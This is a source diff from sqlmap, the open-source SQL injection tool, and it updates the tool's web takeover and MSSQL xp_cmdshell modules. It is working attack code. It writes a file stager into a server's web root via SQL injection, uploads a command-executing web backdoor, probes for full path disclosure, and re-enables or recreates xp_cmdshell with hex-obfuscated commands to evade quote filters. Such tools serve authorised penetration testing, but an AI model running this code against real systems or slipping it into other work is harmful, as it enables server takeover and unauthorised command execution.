self.webPlatform = None self.webBaseUrl = None self.webBackdoorUrl = None + self.webBackdoorFilePath = None self.webStagerUrl = None + self.webStagerFilePath = None self.webDirectory = None def webBackdoorRunCmd(self, cmd): @@ -57,66 +83,85 @@ def webBackdoorRunCmd(self, cmd): if not cmd: cmd = conf.osCmd - cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd) - page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True) + cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd)) + page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT) if page is not None: - output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) + output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S) if output: output = output.group(1) return output - def webFileUpload(self, fileToUpload, destFileName, directory): - inputFP = codecs.open(fileToUpload, "rb") - retVal = self.__webFileStreamUpload(inputFP, destFileName, directory) - inputFP.close() + def webUpload(self, destFileName, directory, stream=None, content=None, filepath=None): + if filepath is not None: + if filepath.endswith('_'): + content = decloak(filepath) # cloaked file + else: + with openFile(filepath, "rb", encoding=None) as f: + content = f.read() + + if content is not None: + stream = io.BytesIO(getBytes(content)) # string content + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/3560 + # Reference: https://stackoverflow.com/a/4677542 + stream.seek(0, os.SEEK_END) + stream.len = stream.tell() + stream.seek(0, os.SEEK_SET) - return retVal + return self._webFileStreamUpload(stream, destFileName, directory) - def __webFileStreamUpload(self, stream, destFileName, directory): - stream.seek(0) # Rewind + def _webFileStreamUpload(self, stream, destFileName, directory): + stream.seek(0) # Rewind - if self.webApi in ("php", "asp", "aspx", "jsp"): + try: + setattr(stream, "name", destFileName) + except TypeError: + pass + + if self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True): multipartParams = { - "upload": "1", - "file": stream, - "uploadDir": directory, - } + "upload": "1", + "file": stream, + "uploadDir": directory, + } - if self.webApi == "aspx": + if self.webPlatform == WEB_PLATFORM.ASPX: multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE - page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) + page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False) - if "File uploaded" not in page: - warnMsg = "unable to upload the backdoor through " - warnMsg += "the file stager on '%s'" % directory - logger.warn(warnMsg) + if "File uploaded" not in (page or ""): + warnMsg = "unable to upload the file through the web file " + warnMsg += "stager to '%s'" % directory + logger.warning(warnMsg) return False else: return True + else: + logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform) + return False - def __webFileInject(self, fileContent, fileName, directory): - outFile = posixpath.normpath("%s/%s" % (directory, fileName)) - uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) + def _webFileInject(self, fileContent, fileName, directory): + outFile = posixpath.join(ntToPosixSlashes(directory), fileName) + uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) query = "" - if isTechniqueAvailable(kb.technique): - where = kb.injection.data[kb.technique].where + if isTechniqueAvailable(getTechnique()): + where = getTechniqueData().where if where == PAYLOAD.WHERE.NEGATIVE: randInt = randomInt() query += "OR %d=%d " % (randInt, randInt) - query += "LIMIT 1 INTO OUTFILE '%s' " % outFile - query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) - query = agent.prefixQuery(query) - query = agent.suffixQuery(query) + query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False)) + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) payload = agent.payload(newValue=query) page = Request.queryPage(payload) + return page def webInit(self): @@ -125,16 +170,13 @@ def webInit(self): remote directory within the web server document root. """ - if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None: + if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None: return self.checkDbmsOs() - infoMsg = "trying to upload the file stager" - logger.info(infoMsg) - default = None - choices = ('asp', 'aspx', 'php', 'jsp') + choices = list(getPublicTypeMembers(WEB_PLATFORM, True)) for ext in choices: if conf.url.endswith(ext): @@ -142,10 +184,7 @@ def webInit(self): break if not default: - if Backend.isOs(OS.WINDOWS): - default = "asp" - else: - default = "php" + default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHP message = "which web application language does the web server " message += "support?\n" @@ -162,155 +201,233 @@ def webInit(self): while True: choice = readInput(message, default=str(default)) - if not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") + if not isDigit(choice): + logger.warning("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > len(choices): - logger.warn("invalid value, it must be between 1 and %d" % len(choices)) + logger.warning("invalid value, it must be between 1 and %d" % len(choices)) else: - self.webApi = choices[int(choice) - 1] + self.webPlatform = choices[int(choice) - 1] break - kb.docRoot = getDocRoot() - directories = getDirs() - directories = list(directories) - directories.sort() + if not kb.absFilePaths: + message = "do you want sqlmap to further try to " + message += "provoke the full path disclosure? [Y/n] " + + if readInput(message, default='Y', boolean=True): + headers = {} + been = set([conf.url]) + + for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): + url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") + if url not in been: + try: + page, _, _ = Request.getPage(url=url, raise404=False, silent=True) + parseFilePaths(page) + except: + pass + finally: + been.add(url) + + url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) + if url not in been: + try: + page, _, _ = Request.getPage(url=url, raise404=False, silent=True) + parseFilePaths(page) + except: + pass + finally: + been.add(url) + + for place in (PLACE.GET, PLACE.POST): + if place in conf.parameters: + value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) + if "[]" in value: + page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + + cookie = None + if PLACE.COOKIE in conf.parameters: + cookie = conf.parameters[PLACE.COOKIE] + elif headers and HTTP_HEADER.SET_COOKIE in headers: + cookie = headers[HTTP_HEADER.SET_COOKIE] + + if cookie: + value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie) + if value != cookie: + page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + + value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie) + if value != cookie: + page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) + parseFilePaths(page) + + directories = list(arrayizeValue(getManualDirectories())) + directories.extend(getAutoDirectories()) + directories = list(OrderedSet(directories)) + + path = _urllib.parse.urlparse(conf.url).path or '/' + path = re.sub(r"/[^/]*\.\w+\Z", '/', path) + if path != '/': + _ = [] + for directory in directories: + _.append(directory) + if not directory.endswith(path): + _.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) + directories = _ + + backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) + backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) + + stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) + + for directory in directories: + if not directory: + continue + + stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) + self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) + + uploaded = False + directory = ntToPosixSlashes(normalizePath(directory)) + + if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): + directory = "/%s" % directory + + if not directory.endswith('/'): + directory += '/' + + # Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method + infoMsg = "trying to upload the file stager on '%s' " % directory + infoMsg += "via LIMIT 'LINES TERMINATED BY' method" + logger.info(infoMsg) + self._webFileInject(stagerContent, stagerName, directory) + + for match in re.finditer('/', directory): + self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) + self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) + debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl + logger.debug(debugMsg) - backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) - backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName) - originalBackdoorContent = backdoorContent = backdoorStream.read() + uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) + uplPage = uplPage or "" - stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi) - stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) + if "sqlmap file uploader" in uplPage: + uploaded = True + break - warned = set() - success = False + # Fall-back to UNION queries file upload method + if not uploaded: + warnMsg = "unable to upload the file stager " + warnMsg += "on '%s'" % directory + singleTimeWarnMessage(warnMsg) - for i in xrange(len(kb.docRoot)): - if success: - break + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): + infoMsg = "trying to upload the file stager on '%s' " % directory + infoMsg += "via UNION method" + logger.info(infoMsg) - for j in xrange(len(directories)): - docRoot = kb.docRoot[i] - directory = directories[j] - uriPath = "" + stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) + self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) - if not all(isinstance(item, basestring) for item in [docRoot, directory]): - continue + handle, filename = tempfile.mkstemp() + os.close(handle) - directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') - docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') - - # '' or '/' -> 'docRoot' - if not directory: - localPath = docRoot - uriPath = '/' - # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' - elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': - localPath = "%s/%s" % (docRoot, directory) - uriPath = "/%s" % directory - else: - localPath = directory - uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory - docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot - if docRoot in uriPath: - uriPath = uriPath.replace(docRoot, "/") - uriPath = "/%s" % normalizePath(uriPath) - else: - webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url) - if webDir: - uriPath = "/%s" % webDir - else: - continue + with openFile(filename, "w+") as f: + _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) + _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) + f.write(_) - localPath = posixpath.normpath(localPath).rstrip('/') - uriPath = posixpath.normpath(uriPath).rstrip('/') + self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) - # Upload the file stager - self.__webFileInject(stagerContent, stagerName, localPath) + for match in re.finditer('/', directory): + self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) + self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) - self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) - self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) + debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl + logger.debug(debugMsg) - uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) + uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) + uplPage = uplPage or "" - uplPage = uplPage or "" + if "sqlmap file uploader" in uplPage: + uploaded = True + break - if "sqlmap file uploader" not in uplPage: - if localPath not in warned: - warnMsg = "unable to upload the file stager " - warnMsg += "on '%s'" % localPath - logger.warn(warnMsg) - warned.add(localPath) - continue + if not uploaded: + continue - elif "<%" in uplPage or "<?" in uplPage: - warnMsg = "file stager uploaded " - warnMsg += "on '%s' but not dynamically interpreted" % localPath - logger.warn(warnMsg) - continue + if "<%" in uplPage or "<?" in uplPage: + warnMsg = "file stager uploaded on '%s', " % directory + warnMsg += "but not dynamically interpreted" + logger.warning(warnMsg) + continue - elif self.webApi == "aspx": - kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) - kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I) + elif self.webPlatform == WEB_PLATFORM.ASPX: + kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) + kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) - infoMsg = "the file stager has been successfully uploaded " - infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl) - logger.info(infoMsg) + infoMsg = "the file stager has been successfully uploaded " + infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) + logger.info(infoMsg) - if self.webApi == "asp": - runcmdName = "tmpe%s.exe" % randomStr(lowercase=True) - runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName) - match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) + if self.webPlatform == WEB_PLATFORM.ASP: + match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) - if match: - backdoorDirectory = match.group(1) - else: - continue + if match: + backdoorDirectory = match.group(1) + else: + continue - backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName) - backdoorStream.file.truncate() - backdoorStream.read() - backdoorStream.seek(0) - backdoorStream.write(backdoorContent) + _ = "tmpe%s.exe" % randomStr(lowercase=True) + if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): + self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) + self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) + self.webDirectory = backdoorDirectory + else: + continue - if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory): - self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory) - self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName) - self.webDirectory = backdoorDirectory + else: + if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): + warnMsg = "backdoor has not been successfully uploaded " + warnMsg += "through the file stager possibly because " + warnMsg += "the user running the web server process " + warnMsg += "has not write privileges over the folder " + warnMsg += "where the user running the DBMS process " + warnMsg += "was able to upload the file stager or " + warnMsg += "because the DBMS and web server sit on " + warnMsg += "different servers" + logger.warning(warnMsg) + + message = "do you want to try the same method used " + message += "for the file stager? [Y/n] " + + if readInput(message, default='Y', boolean=True): + self._webFileInject(backdoorContent, backdoorName, directory) else: continue - else: - if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath): - warnMsg = "backdoor has not been successfully uploaded " - warnMsg += "through the file stager possibly because " - warnMsg += "the user running the web server process " - warnMsg += "has not write privileges over the folder " - warnMsg += "where the user running the DBMS process " - warnMsg += "was able to upload the file stager or " - warnMsg += "because the DBMS and web server sit on " - warnMsg += "different servers" - logger.warn(warnMsg) - - message = "do you want to try the same method used " - message += "for the file stager? [Y/n] " - getOutput = readInput(message, default="Y") - - if getOutput in ("y", "Y"): - self.__webFileInject(backdoorContent, backdoorName, localPath) - else: - continue - - self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName) - self.webDirectory = localPath + self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName) + self.webDirectory = directory + self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) + + testStr = "command execution test" + output = self.webBackdoorRunCmd("echo %s" % testStr) + + if output == "0": + warnMsg = "the backdoor has been uploaded but required privileges " + warnMsg += "for running the system commands are missing" + raise SqlmapNoneDataException(warnMsg) + elif output and testStr in output: + infoMsg = "the backdoor has been successfully " + else: infoMsg = "the backdoor has probably been successfully " - infoMsg += "uploaded on '%s' - " % self.webDirectory - infoMsg += self.webBackdoorUrl - logger.info(infoMsg) - success = True + infoMsg += "uploaded on '%s' - " % self.webDirectory + infoMsg += self.webBackdoorUrl + logger.info(infoMsg) - break + break diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 9c80d7f3dc8..abefda27ba1 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,32 +1,41 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import Backend -from lib.core.common import getSPQLSnippet +from lib.core.common import flattenValue +from lib.core.common import getLimitRange +from lib.core.common import getSQLSnippet from lib.core.common import hashDBWrite +from lib.core.common import isListLike from lib.core.common import isNoneValue -from lib.core.common import pushValue +from lib.core.common import isNumPosStrValue +from lib.core.common import isTechniqueAvailable from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.common import wasLastRequestDelayed -from lib.core.convert import hexencode +from lib.core.common import wasLastResponseDelayed +from lib.core.compat import xrange +from lib.core.convert import encodeHex from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS +from lib.core.enums import EXPECTED from lib.core.enums import HASHDB_KEYS -from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.threads import getCurrentThreadData -from lib.core.unescaper import unescaper from lib.request import inject -class xp_cmdshell: +class XP_cmdshell(object): """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. @@ -35,77 +44,81 @@ class xp_cmdshell: def __init__(self): self.xpCmdshellStr = "master..xp_cmdshell" - def __xpCmdshellCreate(self): + def _xpCmdshellCreate(self): cmd = "" - if Backend.isVersionWithin(("2005", "2008")): + if not Backend.isVersionWithin(("2000",)): logger.debug("activating sp_OACreate") - cmd = getSPQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") inject.goStacked(agent.runAsDBMSUser(cmd)) - self.__randStr = randomStr(lowercase=True) - self.__xpCmdshellNew = "xp_%s" % randomStr(lowercase=True) - self.xpCmdshellStr = "master..%s" % self.__xpCmdshellNew + self._randStr = randomStr(lowercase=True) + self.xpCmdshellStr = "master..new_xp_cmdshell" - cmd = getSPQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self.__randStr, XP_CMDSHELL_NEW=self.__xpCmdshellNew) + cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) - if Backend.isVersionWithin(("2005", "2008")): + if not Backend.isVersionWithin(("2000",)): cmd += ";RECONFIGURE WITH OVERRIDE" inject.goStacked(agent.runAsDBMSUser(cmd)) - def __xpCmdshellConfigure2005(self, mode): + def _xpCmdshellConfigure2005(self, mode): debugMsg = "configuring xp_cmdshell using sp_configure " debugMsg += "stored procedure" logger.debug(debugMsg) - cmd = getSPQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) + cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) return cmd - def __xpCmdshellConfigure2000(self, mode): + def _xpCmdshellConfigure2000(self, mode): debugMsg = "configuring xp_cmdshell using sp_addextendedproc " debugMsg += "stored procedure" logger.debug(debugMsg) if mode == 1: - cmd = getSPQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) + cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode)) else: - cmd = getSPQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) + cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode)) return cmd - def __xpCmdshellConfigure(self, mode): - if Backend.isVersionWithin(("2005", "2008")): - cmd = self.__xpCmdshellConfigure2005(mode) + def _xpCmdshellConfigure(self, mode): + if Backend.isVersionWithin(("2000",)): + cmd = self._xpCmdshellConfigure2000(mode) else: - cmd = self.__xpCmdshellConfigure2000(mode) + cmd = self._xpCmdshellConfigure2005(mode) inject.goStacked(agent.runAsDBMSUser(cmd)) - def __xpCmdshellCheck(self): + def _xpCmdshellCheck(self): cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) self.xpCmdshellExecCmd(cmd) - return wasLastRequestDelayed() + return wasLastResponseDelayed() - def __xpCmdshellTest(self): + @stackedmethod + def _xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True logger.info("testing if xp_cmdshell extended procedure is usable") - output = self.evalCmd("echo 1") + output = self.xpCmdshellEvalCmd("echo 1") - if isNoneValue(output): + if output == "1": + logger.info("xp_cmdshell extended procedure is usable") + elif isNoneValue(output) and conf.dbmsCred: errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() errMsg += "storing console output within the back-end file system " errMsg += "does not have writing permissions for the DBMS process. " errMsg += "You are advised to manually adjust it with option " - errMsg += "--tmp-path switch or you will not be able to retrieve " - errMsg += "the commands output" + errMsg += "'--tmp-path' or you won't be able to retrieve " + errMsg += "the command(s) output" logger.error(errMsg) + elif isNoneValue(output): + logger.error("unable to retrieve xp_cmdshell output") else: logger.info("xp_cmdshell extended procedure is usable") @@ -124,7 +137,7 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): for line in lines: echoedLine = "echo %s " % line - echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile) + echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLines.append(echoedLine) for echoedLine in echoedLines: @@ -132,29 +145,51 @@ def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): charCounter += len(echoedLine) if charCounter >= maxLen: - self.xpCmdshellExecCmd(cmd) + self.xpCmdshellExecCmd(cmd.rstrip(" & ")) cmd = "" charCounter = 0 if cmd: - self.xpCmdshellExecCmd(cmd) - - def xpCmdshellForgeCmd(self, cmd): - self.__randStr = randomStr(lowercase=True) - self.__cmd = "0x%s" % hexencode(cmd) - self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr - self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) - self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) - - return agent.runAsDBMSUser(self.__forgedCmd) + self.xpCmdshellExecCmd(cmd.rstrip(" & ")) + + def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): + # When user provides DBMS credentials (with --dbms-cred) we need to + # redirect the command standard output to a temporary file in order + # to retrieve it afterwards + # NOTE: this does not need to be done when the command is 'del' to + # delete the temporary file + if conf.dbmsCred and insertIntoTable: + self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) + cmd = "%s > \"%s\"" % (cmd, self.tmpFile) + + # Obfuscate the command to execute, also useful to bypass filters + # on single-quotes + self._randStr = randomStr(lowercase=True) + self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr + + try: + self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False)) + except UnicodeError: + self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) + + # Insert the command standard output into a support table, + # 'sqlmapoutput', except when DBMS credentials are provided because + # it does not work unfortunately, BULK INSERT needs to be used to + # retrieve the output when OPENROWSET is used hence the redirection + # to a temporary file from above + if insertIntoTable and not conf.dbmsCred: + self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable + + self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr) + + return agent.runAsDBMSUser(self._forgedCmd) def xpCmdshellExecCmd(self, cmd, silent=False): - cmd = self.xpCmdshellForgeCmd(cmd) - return inject.goStacked(cmd, silent) + return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) def xpCmdshellEvalCmd(self, cmd, first=None, last=None): - self.getRemoteTempPath() + output = None if conf.direct: output = self.xpCmdshellExecCmd(cmd) @@ -170,23 +205,43 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None): output = new_output else: - tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) - cmd = "%s > \"%s\"" % (cmd, tmpFile) + inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) - self.xpCmdshellExecCmd(cmd) + # When user provides DBMS credentials (with --dbms-cred), the + # command standard output is redirected to a temporary file + # The file needs to be copied to the support table, + # 'sqlmapoutput' + if conf.dbmsCred: + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) + self.delRemoteFile(self.tmpFile) - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, tmpFile, randomStr(10), randomStr(10))) + query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) - self.delRemoteFile(tmpFile) + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + output = inject.getValue(query, resumeValue=False, blind=False, time=False) + + if (output is None) or len(output) == 0 or output[0] is None: + output = [] + count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(count): + for index in getLimitRange(count): + query = agent.limitQuery(index, query, self.tblField) + output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) - output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False) inject.goStacked("DELETE FROM %s" % self.cmdTblName) - if output and isinstance(output, (list, tuple)): - output = output[0] + if output and isListLike(output) and len(output) > 1: + _ = "" + lines = [line for line in flattenValue(output) if line is not None] + + for i in xrange(len(lines)): + line = lines[i] or "" + if line is None or i in (0, len(lines) - 1) and not line.strip(): + continue + _ += "%s\n" % line - if output and isinstance(output, (list, tuple)): - output = output[0] + output = _.rstrip('\n') return output @@ -196,7 +251,7 @@ def xpCmdshellInit(self): infoMsg += "available, please wait.." logger.info(infoMsg) - result = self.__xpCmdshellCheck() + result = self._xpCmdshellCheck() if result: logger.info("xp_cmdshell extended procedure is available") @@ -206,36 +261,35 @@ def xpCmdshellInit(self): message = "xp_cmdshell extended procedure does not seem to " message += "be available. Do you want sqlmap to try to " message += "re-enable it? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice in ("y", "Y"): - self.__xpCmdshellConfigure(1) + if readInput(message, default='Y', boolean=True): + self._xpCmdshellConfigure(1) - if self.__xpCmdshellCheck(): + if self._xpCmdshellCheck(): logger.info("xp_cmdshell re-enabled successfully") kb.xpCmdshellAvailable = True else: - logger.warn("xp_cmdshell re-enabling failed") + logger.warning("xp_cmdshell re-enabling failed") logger.info("creating xp_cmdshell with sp_OACreate") - self.__xpCmdshellConfigure(0) - self.__xpCmdshellCreate() + self._xpCmdshellConfigure(0) + self._xpCmdshellCreate() - if self.__xpCmdshellCheck(): + if self._xpCmdshellCheck(): logger.info("xp_cmdshell created successfully") kb.xpCmdshellAvailable = True else: warnMsg = "xp_cmdshell creation failed, probably " warnMsg += "because sp_OACreate is disabled" - logger.warn(warnMsg) + logger.warning(warnMsg) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) if not kb.xpCmdshellAvailable: errMsg = "unable to proceed without xp_cmdshell" - raise sqlmapUnsupportedFeatureException, errMsg + raise SqlmapUnsupportedFeatureException(errMsg) debugMsg = "creating a support table to write commands standard " debugMsg += "output to" @@ -245,4 +299,4 @@ def xpCmdshellInit(self): # "The text, ntext, and image data types cannot be compared or sorted" self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") - self.__xpCmdshellTest() + self._xpCmdshellTest() diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,8 +1,8 @@ 